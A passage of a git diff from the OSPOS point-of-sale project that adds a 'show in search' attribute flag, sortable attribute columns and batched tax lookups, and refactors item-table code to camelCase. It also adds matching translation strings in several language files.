$data['definition_group'][''] = lang('Common.none_selected_text'); $data['definition_info'] = $info; - $show_all = Attribute::SHOW_IN_ITEMS | Attribute::SHOW_IN_RECEIVINGS | Attribute::SHOW_IN_SALES; - $data['definition_flags'] = $this->get_attributes($show_all); - $selected_flags = $info->definition_flags === '' ? $show_all : $info->definition_flags; - $data['selected_definition_flags'] = $this->get_attributes($selected_flags); + $showAll = Attribute::SHOW_IN_ITEMS | Attribute::SHOW_IN_RECEIVINGS | Attribute::SHOW_IN_SALES | Attribute::SHOW_IN_SEARCH; + $data['definition_flags'] = $this->get_attributes($showAll); + $selectedFlags = $info->definition_flags === '' ? $showAll : $info->definition_flags; + $data['selected_definition_flags'] = $this->get_attributes($selectedFlags); return view('attributes/form', $data); } diff --git a/app/Controllers/Items.php b/app/Controllers/Items.php index f4a7b33bf..33529261b 100644 --- a/app/Controllers/Items.php +++ b/app/Controllers/Items.php @@ -76,7 +76,7 @@ class Items extends Secure_Controller { $this->session->set('allow_temp_items', 0); - $data['table_headers'] = get_items_manage_table_headers(); + $data['table_headers'] = getItemsManageTableHeaders(); // Restore stock_location from URL or session $stockLocation = $this->request->getGet('stock_location', FILTER_SANITIZE_NUMBER_INT); @@ -111,12 +111,14 @@ class Items extends Secure_Controller $search = $this->request->getGet('search', FILTER_SANITIZE_FULL_SPECIAL_CHARS); $limit = $this->request->getGet('limit', FILTER_SANITIZE_NUMBER_INT); $offset = $this->request->getGet('offset', FILTER_SANITIZE_NUMBER_INT); - $sort = $this->sanitizeSortColumn(item_headers(), $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS), 'item_id'); $order = $this->request->getGet('order', FILTER_SANITIZE_FULL_SPECIAL_CHARS); $this->item_lib->set_item_location($this->request->getGet('stock_location')); - $definitionNames = $this->attribute->getDefinitionsByFlags(Attribute::SHOW_IN_ITEMS); + $definitionNamesWithTypes = $this->attribute->getDefinitionsByFlags(Attribute::SHOW_IN_ITEMS, true); + $definitionIds = array_keys($definitionNamesWithTypes); + + $sort = $this->sanitizeSortColumn(itemSortColumns($definitionIds), $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS), 'items.item_id'); $filters = [ 'start_date' => $this->request->getGet('start_date'), @@ -129,25 +131,79 @@ class Items extends Secure_Controller 'search_custom' => false, 'is_deleted' => false, 'temporary' => false, - 'definition_ids' => array_keys($definitionNames) + 'definition_ids' => $definitionIds ]; // Check if any filter is set in the multiselect dropdown - $request_filters = array_fill_keys($this->request->getGet('filters', FILTER_SANITIZE_FULL_SPECIAL_CHARS) ?? [], true); - $filters = array_merge($filters, $request_filters); - $items = $this->item->search($search, $filters, $limit, $offset, $sort, $order); - $total_rows = $this->item->get_found_rows($search, $filters); - $data_rows = []; + $requestFilters = array_fill_keys($this->request->getGet('filters', FILTER_SANITIZE_FULL_SPECIAL_CHARS) ?? [], true); + $filters = array_merge($filters, $requestFilters); - foreach ($items->getResult() as $item) { - $data_rows[] = get_item_data_row($item); + // When search_custom is enabled, include attributes that are searchable but may not be visible in table + if (!empty($filters['search_custom'])) { + $searchableDefinitions = $this->attribute->getDefinitionsByFlags(Attribute::SHOW_IN_ITEMS | Attribute::SHOW_IN_SEARCH); + $filters['definition_ids'] = array_keys($searchableDefinitions); + } + + $items = $this->item->search($search, $filters, $limit, $offset, $sort, $order); + $itemResults = $items->getResult(); + $totalRows = $this->item->get_found_rows($search, $filters); + $taxPercentsByItemId = $this->buildTaxPercentsByItem($itemResults); + + $dataRows = []; + + foreach ($itemResults as $item) { + $dataRows[] = getItemDataRow($item, $definitionNamesWithTypes, $taxPercentsByItemId); if ($item->pic_filename !== null) { $this->update_pic_filename($item); } } - return $this->response->setJSON(['total' => $total_rows, 'rows' => $data_rows]); + return $this->response->setJSON(['total' => $totalRows, 'rows' => $dataRows]); + } + + /** + * @return array item_id => formatted tax percents string + */ + private function buildTaxPercentsByItem(array $items): array + { + $config = config(OSPOS::class)->settings; + $taxPercentsByItemId = []; + + if ($config['use_destination_based_tax']) { + $taxCategoryIds = array_unique(array_filter(array_map(fn ($item) => $item->tax_category_id, $items))); + + if (empty($taxCategoryIds)) { + return []; + } + + $taxCategoryNames = []; + foreach ($this->tax_category->get_multiple_info($taxCategoryIds)->getResult() as $taxCategoryInfo) { + $taxCategoryNames[$taxCategoryInfo->tax_category_id] = $taxCategoryInfo->tax_category; + } + + foreach ($items as $item) { + if ($item->tax_category_id !== null && isset($taxCategoryNames[$item->tax_category_id])) { + $taxPercentsByItemId[$item->item_id] = $taxCategoryNames[$item->tax_category_id]; + } + } + } else { + $itemIds = array_map(fn ($item) => $item->item_id, $items); + $itemTaxesByItemId = $this->item_taxes->getInfoMultiple($itemIds); + + foreach ($itemIds as $itemId) { + $taxPercents = ''; + foreach ($itemTaxesByItemId[$itemId] ?? [] as $taxInfo) { + $taxPercents .= to_tax_decimals($taxInfo['percent']) . '%, '; + } + + // Remove ', ' from last item + $taxPercents = substr($taxPercents, 0, -2); + $taxPercentsByItemId[$itemId] = !$taxPercents ? '-' : $taxPercents; + } + } + + return $taxPercentsByItemId; } /** @@ -276,17 +332,21 @@ class Items extends Secure_Controller } /** - * @param string $item_ids + * @param string $itemIds * @return ResponseInterface */ - public function getRow(string $item_ids): ResponseInterface // TODO: An array would be better for parameter. + public function getRow(string $itemIds): ResponseInterface // TODO: An array would be better for parameter. { - $item_infos = $this->item->get_multiple_info(explode(':', $item_ids), $this->item_lib->get_item_location()); + $itemInfos = $this->item->get_multiple_info(explode(':', $itemIds), $this->item_lib->get_item_location()); + $itemResults = $itemInfos->getResult(); + + $definitionNames = $this->attribute->getDefinitionsByFlags(Attribute::SHOW_IN_ITEMS, true); + $taxPercentsByItemId = $this->buildTaxPercentsByItem($itemResults); $result = []; - foreach ($item_infos->getResult() as $item_info) { - $result[$item_info->item_id] = get_item_data_row($item_info); + foreach ($itemResults as $itemInfo) { + $result[$itemInfo->item_id] = getItemDataRow($itemInfo, $definitionNames, $taxPercentsByItemId); } return $this->response->setJSON($result); diff --git a/app/Controllers/Secure_Controller.php b/app/Controllers/Secure_Controller.php index 36daeebd5..535825d3e 100644 --- a/app/Controllers/Secure_Controller.php +++ b/app/Controllers/Secure_Controller.php @@ -75,7 +75,17 @@ class Secure_Controller extends BaseController public function sanitizeSortColumn($headers, $field, $default): string { - return $field != null && in_array($field, array_keys(array_merge(...$headers))) ? $field : $default; + if ($field === null) { + return $default; + } + + // Flatten keys directly as array_merge() renumbers numeric string keys + $validColumns = []; + foreach ($headers as $header) { + $validColumns[] = (string) array_key_first($header); + } + + return in_array((string) $field, $validColumns, true) ? $field : $default; } /** diff --git a/app/Helpers/tabular_helper.php b/app/Helpers/tabular_helper.php index 129e6c921..2670929c0 100644 --- a/app/Helpers/tabular_helper.php +++ b/app/Helpers/tabular_helper.php @@ -2,8 +2,6 @@ use App\Models\Attribute; use App\Models\Employee; -use App\Models\Item_taxes; -use App\Models\Tax_category; use CodeIgniter\Database\ResultInterface; use CodeIgniter\HTTP\IncomingRequest; use CodeIgniter\Session\Session; @@ -402,10 +400,33 @@ function item_headers(): array ]; } +/** + * Get all sortable column keys for items table, including dynamic attribute columns. + * + * @param array|null $definitionIds Attribute definition IDs to append as sortable columns. + * If null, resolved via a query against SHOW_IN_ITEMS. + * @return array Array of column headers in the format sanitizeSortColumn() expects + */ +function itemSortColumns(?array $definitionIds = null): array +{ + if ($definitionIds === null) { + $attribute = model(Attribute::class); + $definitionIds = array_keys($attribute->getDefinitionsByFlags($attribute::SHOW_IN_ITEMS)); + } + + $headers = item_headers(); + + foreach ($definitionIds as $definitionId) { + $headers[] = [(string) $definitionId => '']; + } + + return $headers; +} + /** * Get the header for the items tabular view */ -function get_items_manage_table_headers(): string +function getItemsManageTableHeaders(): string { $attribute = model(Attribute::class); $config = config(OSPOS::class)->settings; @@ -421,8 +442,8 @@ function get_items_manage_table_headers(): string $headers[] = ['item_pic' => lang('Items.image'), 'sortable' => false]; - foreach ($definitionsWithTypes as $definition_id => $definitionInfo) { - $headers[] = [$definition_id => $definitionInfo['name'], 'sortable' => false]; + foreach ($definitionsWithTypes as $definitionId => $definitionInfo) { + $headers[] = [$definitionId => $definitionInfo['name'], 'sortable' => true]; } $headers[] = ['inventory' => '', 'escape' => false]; @@ -433,32 +454,17 @@ function get_items_manage_table_headers(): string /** * Get the html data row for the item + * + * @param object $item + * @param array $definitionNames Attribute definitions with types, keyed by definition_id (see Attribute::getDefinitionsByFlags(..., true)) + * @param array $taxPercentsByItemId Pre-computed tax percent strings, keyed by item_id (see Items::buildTaxPercentsByItem()) + * @return array */ -function get_item_data_row(object $item): array +function getItemDataRow(object $item, array $definitionNames, array $taxPercentsByItemId): array { - $attribute = model(Attribute::class); - $item_taxes = model(Item_taxes::class); - $tax_category = model(Tax_category::class); $config = config(OSPOS::class)->settings; - if ($config['use_destination_based_tax']) { - if ($item->tax_category_id == null) { // TODO: === ? - $tax_percents = '-'; - } else { - $tax_category_info = $tax_category->get_info($item->tax_category_id); - $tax_percents = $tax_category_info->tax_category; - } - } else { - $item_tax_info = $item_taxes->get_info($item->item_id); - $tax_percents = ''; - foreach ($item_tax_info as $tax_info) { - $tax_percents .= to_tax_decimals($tax_info['percent']) . '%, '; - } - - // Remove ', ' from last item - $tax_percents = substr($tax_percents, 0, -2); - $tax_percents = !$tax_percents ? '-' : $tax_percents; - } + $taxPercents = $taxPercentsByItemId[$item->item_id] ?? '-'; $controller = get_controller(); @@ -471,8 +477,8 @@ function get_item_data_row(object $item): array : glob("./uploads/item_pics/$item->pic_filename"); if (sizeof($images) > 0) { - $image_path = ltrim($images[0], './'); - $image .= 'Image thumbnail'; + $imagePath = ltrim($images[0], './'); + $image .= 'Image thumbnail'; } } @@ -480,8 +486,6 @@ function get_item_data_row(object $item): array $item->name .= NAME_SEPARATOR . $item->pack_name; } - $definition_names = $attribute->getDefinitionsByFlags($attribute::SHOW_IN_ITEMS, true); - $columns = [ 'items.item_id' => $item->item_id, 'item_number' => $item->item_number, @@ -491,7 +495,7 @@ function get_item_data_row(object $item): array 'cost_price' => to_currency($item->cost_price), 'unit_price' => to_currency($item->unit_price), 'quantity' => to_quantity_decimals($item->quantity), - 'tax_percents' => !$tax_percents ? '-' : $tax_percents, + 'tax_percents' => !$taxPercents ? '-' : $taxPercents, 'item_pic' => $image ]; @@ -524,7 +528,7 @@ function get_item_data_row(object $item): array ) ]; - return $columns + expand_attribute_values($definition_names, (array) $item) + $icons; + return $columns + expand_attribute_values($definitionNames, (array) $item) + $icons; } function giftcard_headers(): array diff --git a/app/Language/ar-EG/Attributes.php b/app/Language/ar-EG/Attributes.php index b286580a2..c754d6009 100644 --- a/app/Language/ar-EG/Attributes.php +++ b/app/Language/ar-EG/Attributes.php @@ -1,34 +1,36 @@ "الميزات لا يمكن أن تحتوي على ':' أو'|'", - "confirm_delete" => "هل أنت متأكد من أنك تريد حذف الميزات المحددة ؟", - "confirm_restore" => "هل أنت متأكد من أنك تريد استعادة السمة (السمات) المحددة؟", - "definition_cannot_be_deleted" => "لا يمكن حذف السمات المحددة", - "definition_invalid_group" => "المجموعة المحددة غير موجودة أو غير صالحة.", - "definition_error_adding_updating" => "لا يمكن إضافة السمة {0} أو تحديثها. يرجى التحقق من سجل الخطأ.", - "definition_flags" => "رؤية الميزات", - "definition_group" => "المجموعة", - "definition_id" => "كود", - "definition_name" => "إضافة ميزة", - "definition_name_required" => "اسم الميزة هي خانة اجبارية", - "definition_one_or_multiple" => "ميزة/ميزات", - "definition_successful_adding" => "لقد تم إضافة صنف بنجاح", - "definition_successful_deleted" => "لقد تم حذف ميزة بنجاح", - "definition_successful_updating" => "تم تعديل الميزة بنجاح", - "definition_type" => "نوع الميزة", - "definition_type_required" => "نوع الميزة هي خانة إجبارية", - "definition_unit" => "وحدة قياس", - "definition_values" => "قيمة الميزة", - "new" => "اضافة ميزة جديده", - "no_attributes_to_display" => "لا يوجد اصناف للعرض", - "receipt_visibility" => "وصل", - "show_in_items" => "اظهار في الصنف", - "show_in_items_visibility" => "الصنف", - "show_in_receipt" => "اظهار على الوصل", - "show_in_receivings" => "اظهار في استلام البضائع", - "show_in_receivings_visibility" => "استلام البضائع", - "show_in_sales" => "اظهار خلال البيع", - "show_in_sales_visibility" => "البيع", - "update" => "تحديث الميزات", + 'attribute_value_invalid_chars' => 'الميزات لا يمكن أن تحتوي على \':\' أو\'|\'', + 'confirm_delete' => 'هل أنت متأكد من أنك تريد حذف الميزات المحددة ؟', + 'confirm_restore' => 'هل أنت متأكد من أنك تريد استعادة السمة (السمات) المحددة؟', + 'definition_cannot_be_deleted' => 'لا يمكن حذف السمات المحددة', + 'definition_invalid_group' => 'المجموعة المحددة غير موجودة أو غير صالحة.', + 'definition_error_adding_updating' => 'لا يمكن إضافة السمة {0} أو تحديثها. يرجى التحقق من سجل الخطأ.', + 'definition_flags' => 'رؤية الميزات', + 'definition_group' => 'المجموعة', + 'definition_id' => 'كود', + 'definition_name' => 'إضافة ميزة', + 'definition_name_required' => 'اسم الميزة هي خانة اجبارية', + 'definition_one_or_multiple' => 'ميزة/ميزات', + 'definition_successful_adding' => 'لقد تم إضافة صنف بنجاح', + 'definition_successful_deleted' => 'لقد تم حذف ميزة بنجاح', + 'definition_successful_updating' => 'تم تعديل الميزة بنجاح', + 'definition_type' => 'نوع الميزة', + 'definition_type_required' => 'نوع الميزة هي خانة إجبارية', + 'definition_unit' => 'وحدة قياس', + 'definition_values' => 'قيمة الميزة', + 'new' => 'اضافة ميزة جديده', + 'no_attributes_to_display' => 'لا يوجد اصناف للعرض', + 'receipt_visibility' => 'وصل', + 'show_in_items' => 'اظهار في الصنف', + 'show_in_items_visibility' => 'الصنف', + 'show_in_receipt' => 'اظهار على الوصل', + 'show_in_receivings' => 'اظهار في استلام البضائع', + 'show_in_receivings_visibility' => 'استلام البضائع', + 'show_in_sales' => 'اظهار خلال البيع', + 'show_in_sales_visibility' => 'البيع', + 'show_in_search' => 'اظهار في البحث', + 'show_in_search_visibility' => 'بحث', + 'update' => 'تحديث الميزات', ]; diff --git a/app/Language/ar-LB/Attributes.php b/app/Language/ar-LB/Attributes.php index b286580a2..c754d6009 100644 --- a/app/Language/ar-LB/Attributes.php +++ b/app/Language/ar-LB/Attributes.php @@ -1,34 +1,36 @@ "الميزات لا يمكن أن تحتوي على ':' أو'|'", - "confirm_delete" => "هل أنت متأكد من أنك تريد حذف الميزات المحددة ؟", - "confirm_restore" => "هل أنت متأكد من أنك تريد استعادة السمة (السمات) المحددة؟", - "definition_cannot_be_deleted" => "لا يمكن حذف السمات المحددة", - "definition_invalid_group" => "المجموعة المحددة غير موجودة أو غير صالحة.", - "definition_error_adding_updating" => "لا يمكن إضافة السمة {0} أو تحديثها. يرجى التحقق من سجل الخطأ.", - "definition_flags" => "رؤية الميزات", - "definition_group" => "المجموعة", - "definition_id" => "كود", - "definition_name" => "إضافة ميزة", - "definition_name_required" => "اسم الميزة هي خانة اجبارية", - "definition_one_or_multiple" => "ميزة/ميزات", - "definition_successful_adding" => "لقد تم إضافة صنف بنجاح", - "definition_successful_deleted" => "لقد تم حذف ميزة بنجاح", - "definition_successful_updating" => "تم تعديل الميزة بنجاح", - "definition_type" => "نوع الميزة", - "definition_type_required" => "نوع الميزة هي خانة إجبارية", - "definition_unit" => "وحدة قياس", - "definition_values" => "قيمة الميزة", - "new" => "اضافة ميزة جديده", - "no_attributes_to_display" => "لا يوجد اصناف للعرض", - "receipt_visibility" => "وصل", - "show_in_items" => "اظهار في الصنف", - "show_in_items_visibility" => "الصنف", - "show_in_receipt" => "اظهار على الوصل", - "show_in_receivings" => "اظهار في استلام البضائع", - "show_in_receivings_visibility" => "استلام البضائع", - "show_in_sales" => "اظهار خلال البيع", - "show_in_sales_visibility" => "البيع", - "update" => "تحديث الميزات", + 'attribute_value_invalid_chars' => 'الميزات لا يمكن أن تحتوي على \':\' أو\'|\'', + 'confirm_delete' => 'هل أنت متأكد من أنك تريد حذف الميزات المحددة ؟', + 'confirm_restore' => 'هل أنت متأكد من أنك تريد استعادة السمة (السمات) المحددة؟', + 'definition_cannot_be_deleted' => 'لا يمكن حذف السمات المحددة', + 'definition_invalid_group' => 'المجموعة المحددة غير موجودة أو غير صالحة.', + 'definition_error_adding_updating' => 'لا يمكن إضافة السمة {0} أو تحديثها. يرجى التحقق من سجل الخطأ.', + 'definition_flags' => 'رؤية الميزات', + 'definition_group' => 'المجموعة', + 'definition_id' => 'كود', + 'definition_name' => 'إضافة ميزة', + 'definition_name_required' => 'اسم الميزة هي خانة اجبارية', + 'definition_one_or_multiple' => 'ميزة/ميزات', + 'definition_successful_adding' => 'لقد تم إضافة صنف بنجاح', + 'definition_successful_deleted' => 'لقد تم حذف ميزة بنجاح', + 'definition_successful_updating' => 'تم تعديل الميزة بنجاح', + 'definition_type' => 'نوع الميزة', + 'definition_type_required' => 'نوع الميزة هي خانة إجبارية', + 'definition_unit' => 'وحدة قياس', + 'definition_values' => 'قيمة الميزة', + 'new' => 'اضافة ميزة جديده', + 'no_attributes_to_display' => 'لا يوجد اصناف للعرض', + 'receipt_visibility' => 'وصل', + 'show_in_items' => 'اظهار في الصنف', + 'show_in_items_visibility' => 'الصنف', + 'show_in_receipt' => 'اظهار على الوصل', + 'show_in_receivings' => 'اظهار في استلام البضائع', + 'show_in_receivings_visibility' => 'استلام البضائع', + 'show_in_sales' => 'اظهار خلال البيع', + 'show_in_sales_visibility' => 'البيع', + 'show_in_search' => 'اظهار في البحث', + 'show_in_search_visibility' => 'بحث', + 'update' => 'تحديث الميزات', ]; diff --git a/app/Language/az/Attributes.php b/app/Language/az/Attributes.php index bd28a0a28..9f8e336de 100644 --- a/app/Language/az/Attributes.php +++ b/app/Language/az/Attributes.php @@ -1,34 +1,36 @@ "Atribut dəyəri bu ':' və ya '|' olmaz", - "confirm_delete" => "Seçilmiş Atributları silmək istədiyinizdən əminsinizmi?", - "confirm_restore" => "Seçilmiş atributları bərpa etmək istədiyinizə əminsinizmi?", - "definition_cannot_be_deleted" => "Seçilmiş xüsusiyyətləri silmək olmadı", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "{0} -in atributları əlavə oluna və yenilənə bilmədi. Lütfən XƏTA loq faylını yoxlayın.", - "definition_flags" => "Atribut görünüşü", - "definition_group" => "Qrup", - "definition_id" => "Id", - "definition_name" => "Atribut əlavə et", - "definition_name_required" => "Atribut adı zəruri bir sahədir", - "definition_one_or_multiple" => "atribut (lar)", - "definition_successful_adding" => "Malı uğurla əlavə etdiniz", - "definition_successful_deleted" => "Siz uğurla sildiniz", - "definition_successful_updating" => "Atributunuzu müvəffəqiyyətlə yenilədiniz", - "definition_type" => "Atribut Tipi", - "definition_type_required" => "Atribut növü tələb olunan sahədir", - "definition_unit" => "Ölçü vahidi", - "definition_values" => "Atribut dəyərləri", - "new" => "Yeni atributlar", - "no_attributes_to_display" => "Göstərmək üçün heç bir element yoxdur", - "receipt_visibility" => "Qəbz", - "show_in_items" => "Malları göstər", - "show_in_items_visibility" => "Mallar", - "show_in_receipt" => "Qəbzi göstərin", - "show_in_receivings" => "Alacaqlarda göstərin", - "show_in_receivings_visibility" => "Alınanlar", - "show_in_sales" => "Satışda göstərin", - "show_in_sales_visibility" => "Satışlar", - "update" => "Atributları yenilə", + 'attribute_value_invalid_chars' => 'Atribut dəyəri bu \':\' və ya \'|\' olmaz', + 'confirm_delete' => 'Seçilmiş Atributları silmək istədiyinizdən əminsinizmi?', + 'confirm_restore' => 'Seçilmiş atributları bərpa etmək istədiyinizə əminsinizmi?', + 'definition_cannot_be_deleted' => 'Seçilmiş xüsusiyyətləri silmək olmadı', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => '{0} -in atributları əlavə oluna və yenilənə bilmədi. Lütfən XƏTA loq faylını yoxlayın.', + 'definition_flags' => 'Atribut görünüşü', + 'definition_group' => 'Qrup', + 'definition_id' => 'Id', + 'definition_name' => 'Atribut əlavə et', + 'definition_name_required' => 'Atribut adı zəruri bir sahədir', + 'definition_one_or_multiple' => 'atribut (lar)', + 'definition_successful_adding' => 'Malı uğurla əlavə etdiniz', + 'definition_successful_deleted' => 'Siz uğurla sildiniz', + 'definition_successful_updating' => 'Atributunuzu müvəffəqiyyətlə yenilədiniz', + 'definition_type' => 'Atribut Tipi', + 'definition_type_required' => 'Atribut növü tələb olunan sahədir', + 'definition_unit' => 'Ölçü vahidi', + 'definition_values' => 'Atribut dəyərləri', + 'new' => 'Yeni atributlar', + 'no_attributes_to_display' => 'Göstərmək üçün heç bir element yoxdur', + 'receipt_visibility' => 'Qəbz', + 'show_in_items' => 'Malları göstər', + 'show_in_items_visibility' => 'Mallar', + 'show_in_receipt' => 'Qəbzi göstərin', + 'show_in_receivings' => 'Alacaqlarda göstərin', + 'show_in_receivings_visibility' => 'Alınanlar', + 'show_in_sales' => 'Satışda göstərin', + 'show_in_sales_visibility' => 'Satışlar', + 'show_in_search' => 'Axtarışda göstər', + 'show_in_search_visibility' => 'Axtarış', + 'update' => 'Atributları yenilə', ]; diff --git a/app/Language/bg/Attributes.php b/app/Language/bg/Attributes.php index 3213b12e4..0342064f7 100644 --- a/app/Language/bg/Attributes.php +++ b/app/Language/bg/Attributes.php @@ -1,34 +1,36 @@ "", - "confirm_delete" => "", - "confirm_restore" => "", - "definition_cannot_be_deleted" => "", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "", - "definition_flags" => "", - "definition_group" => "", - "definition_id" => "", - "definition_name" => "", - "definition_name_required" => "", - "definition_one_or_multiple" => "", - "definition_successful_adding" => "", - "definition_successful_deleted" => "", - "definition_successful_updating" => "", - "definition_type" => "", - "definition_type_required" => "", - "definition_unit" => "", - "definition_values" => "", - "new" => "", - "no_attributes_to_display" => "", - "receipt_visibility" => "", - "show_in_items" => "", - "show_in_items_visibility" => "", - "show_in_receipt" => "", - "show_in_receivings" => "", - "show_in_receivings_visibility" => "", - "show_in_sales" => "", - "show_in_sales_visibility" => "", - "update" => "", + 'attribute_value_invalid_chars' => '', + 'confirm_delete' => '', + 'confirm_restore' => '', + 'definition_cannot_be_deleted' => '', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => '', + 'definition_flags' => '', + 'definition_group' => '', + 'definition_id' => '', + 'definition_name' => '', + 'definition_name_required' => '', + 'definition_one_or_multiple' => '', + 'definition_successful_adding' => '', + 'definition_successful_deleted' => '', + 'definition_successful_updating' => '', + 'definition_type' => '', + 'definition_type_required' => '', + 'definition_unit' => '', + 'definition_values' => '', + 'new' => '', + 'no_attributes_to_display' => '', + 'receipt_visibility' => '', + 'show_in_items' => '', + 'show_in_items_visibility' => '', + 'show_in_receipt' => '', + 'show_in_receivings' => '', + 'show_in_receivings_visibility' => '', + 'show_in_sales' => '', + 'show_in_sales_visibility' => '', + 'show_in_search' => 'Показване в търсенето', + 'show_in_search_visibility' => 'Търсене', + 'update' => '', ]; diff --git a/app/Language/bs/Attributes.php b/app/Language/bs/Attributes.php index 36a640f0b..662b6954c 100644 --- a/app/Language/bs/Attributes.php +++ b/app/Language/bs/Attributes.php @@ -1,34 +1,36 @@ "Vrijednost atributa ne može sadržavati ':' ili '|'", - "confirm_delete" => "Da li ste sigurni da želite da izbrišete izabrani atribut?", - "confirm_restore" => "Da li ste sigurni da želite vratiti izabrane atribute?", - "definition_cannot_be_deleted" => "Nije moguće izbrisati izabrane atribut", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "Atribut {0} nije moguće dodati ili ažurirati. Molimo provjerite dnevnik grešaka.", - "definition_flags" => "Vidljivost atributa", - "definition_group" => "Grupa", - "definition_id" => "Id", - "definition_name" => "Dodaj Atribut", - "definition_name_required" => "Ime atributa je obavezno polje", - "definition_one_or_multiple" => "atributi", - "definition_successful_adding" => "Uspješno ste dodali stavku", - "definition_successful_deleted" => "Uspješno ste izbrisali", - "definition_successful_updating" => "Uspješno ste ažurirali atribute", - "definition_type" => "Tip atributa", - "definition_type_required" => "Tip atributa je obavezno polje", - "definition_unit" => "Jedinice mjere", - "definition_values" => "Vrijednosti atributa", - "new" => "Novi atribut", - "no_attributes_to_display" => "Nema stavki za prikaz", - "receipt_visibility" => "Račun", - "show_in_items" => "Prikaži u stavkama", - "show_in_items_visibility" => "Stavka", - "show_in_receipt" => "Prikaži u računu", - "show_in_receivings" => "Prikaži na ulazima", - "show_in_receivings_visibility" => "Ulazi", - "show_in_sales" => "Prikaži u prodaji", - "show_in_sales_visibility" => "Prodaja", - "update" => "Ažuriraj atribut", + 'attribute_value_invalid_chars' => 'Vrijednost atributa ne može sadržavati \':\' ili \'|\'', + 'confirm_delete' => 'Da li ste sigurni da želite da izbrišete izabrani atribut?', + 'confirm_restore' => 'Da li ste sigurni da želite vratiti izabrane atribute?', + 'definition_cannot_be_deleted' => 'Nije moguće izbrisati izabrane atribut', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'Atribut {0} nije moguće dodati ili ažurirati. Molimo provjerite dnevnik grešaka.', + 'definition_flags' => 'Vidljivost atributa', + 'definition_group' => 'Grupa', + 'definition_id' => 'Id', + 'definition_name' => 'Dodaj Atribut', + 'definition_name_required' => 'Ime atributa je obavezno polje', + 'definition_one_or_multiple' => 'atributi', + 'definition_successful_adding' => 'Uspješno ste dodali stavku', + 'definition_successful_deleted' => 'Uspješno ste izbrisali', + 'definition_successful_updating' => 'Uspješno ste ažurirali atribute', + 'definition_type' => 'Tip atributa', + 'definition_type_required' => 'Tip atributa je obavezno polje', + 'definition_unit' => 'Jedinice mjere', + 'definition_values' => 'Vrijednosti atributa', + 'new' => 'Novi atribut', + 'no_attributes_to_display' => 'Nema stavki za prikaz', + 'receipt_visibility' => 'Račun', + 'show_in_items' => 'Prikaži u stavkama', + 'show_in_items_visibility' => 'Stavka', + 'show_in_receipt' => 'Prikaži u računu', + 'show_in_receivings' => 'Prikaži na ulazima', + 'show_in_receivings_visibility' => 'Ulazi', + 'show_in_sales' => 'Prikaži u prodaji', + 'show_in_sales_visibility' => 'Prodaja', + 'show_in_search' => 'Prikaži u pretrazi', + 'show_in_search_visibility' => 'Pretraga', + 'update' => 'Ažuriraj atribut', ]; diff --git a/app/Language/ckb/Attributes.php b/app/Language/ckb/Attributes.php index 77f189a9c..d5ba8eaa9 100644 --- a/app/Language/ckb/Attributes.php +++ b/app/Language/ckb/Attributes.php @@ -1,34 +1,36 @@ "بەهای تایبەتمەندیی ناتوانێت '_' یان ' لەخۆبگرێت|'", - "confirm_delete" => "ئایا دڵنیای کە دەتەوێت تایبەتمەندییە هەڵبژێردراوەکە(کان) بسڕیتەوە؟", - "confirm_restore" => "ئایا دڵنیای کە دەتەوێت تایبەتمەندییە هەڵبژێردراوەکە(کان) بگەڕێنیتەوە؟", - "definition_cannot_be_deleted" => "نەتوانرا تایبەتمەندی هەڵبژێردراو بسڕدرێتەوە", - "definition_invalid_group" => "", - "definition_error_adding_updating" => "تایبەتمەندی {0} نەتوانرا زیاد بکرێت یان نوێ بکرێتەوە. تکایە لیستی هەڵەکان بپشکنە.", - "definition_flags" => "توانای بینراویی تایبەتمەندی", - "definition_group" => "گروپ", - "definition_id" => "ناسنامە", - "definition_name" => "تایبەتمەندی زیاد بکە", - "definition_name_required" => "ناوی تایبەتمەندی خانەیەکی پێویستە", - "definition_one_or_multiple" => "تایبەتمەندی(ەکان)", - "definition_successful_adding" => "بەسەرکەوتوویی ئایتمەکەت زیادکرد", - "definition_successful_deleted" => "بەسەرکەوتوویی سڕیوتەتەوە", - "definition_successful_updating" => "بەسەرکەوتوویی تایبەتمەندیت نوێ کردووەتەوە", - "definition_type" => "جۆری تایبەتمەندی", - "definition_type_required" => "جۆری تایبەتمەندی خانەیەکی پێویستە", - "definition_unit" => "یەکەی پێوانەکردن", - "definition_values" => "بەهاکانی تایبەتمەندی", - "new" => "تایبەتمەندی نوێ", - "no_attributes_to_display" => "هیچ تایبەتمەندییەک نییە بۆ پیشاندان", - "receipt_visibility" => "ڕەچەتە", - "show_in_items" => "لەناو ئایتمەکان نیشانی بدە", - "show_in_items_visibility" => "ئایتمەکان", - "show_in_receipt" => "لە ڕەچەتەکەدا نیشانی بدە", - "show_in_receivings" => "لە بەدەستگەیشتووەکاندا نیشانی بدە", - "show_in_receivings_visibility" => "بەدەستگەیشتووکان", - "show_in_sales" => "لە فرۆشتندا نیشانی بدە", - "show_in_sales_visibility" => "فرۆشتن", - "update" => "تایبەتمەندی نوێ بکەرەوە", + 'attribute_value_invalid_chars' => 'بەهای تایبەتمەندیی ناتوانێت \'_\' یان \' لەخۆبگرێت|\'', + 'confirm_delete' => 'ئایا دڵنیای کە دەتەوێت تایبەتمەندییە هەڵبژێردراوەکە(کان) بسڕیتەوە؟', + 'confirm_restore' => 'ئایا دڵنیای کە دەتەوێت تایبەتمەندییە هەڵبژێردراوەکە(کان) بگەڕێنیتەوە؟', + 'definition_cannot_be_deleted' => 'نەتوانرا تایبەتمەندی هەڵبژێردراو بسڕدرێتەوە', + 'definition_invalid_group' => '', + 'definition_error_adding_updating' => 'تایبەتمەندی {0} نەتوانرا زیاد بکرێت یان نوێ بکرێتەوە. تکایە لیستی هەڵەکان بپشکنە.', + 'definition_flags' => 'توانای بینراویی تایبەتمەندی', + 'definition_group' => 'گروپ', + 'definition_id' => 'ناسنامە', + 'definition_name' => 'تایبەتمەندی زیاد بکە', + 'definition_name_required' => 'ناوی تایبەتمەندی خانەیەکی پێویستە', + 'definition_one_or_multiple' => 'تایبەتمەندی(ەکان)', + 'definition_successful_adding' => 'بەسەرکەوتوویی ئایتمەکەت زیادکرد', + 'definition_successful_deleted' => 'بەسەرکەوتوویی سڕیوتەتەوە', + 'definition_successful_updating' => 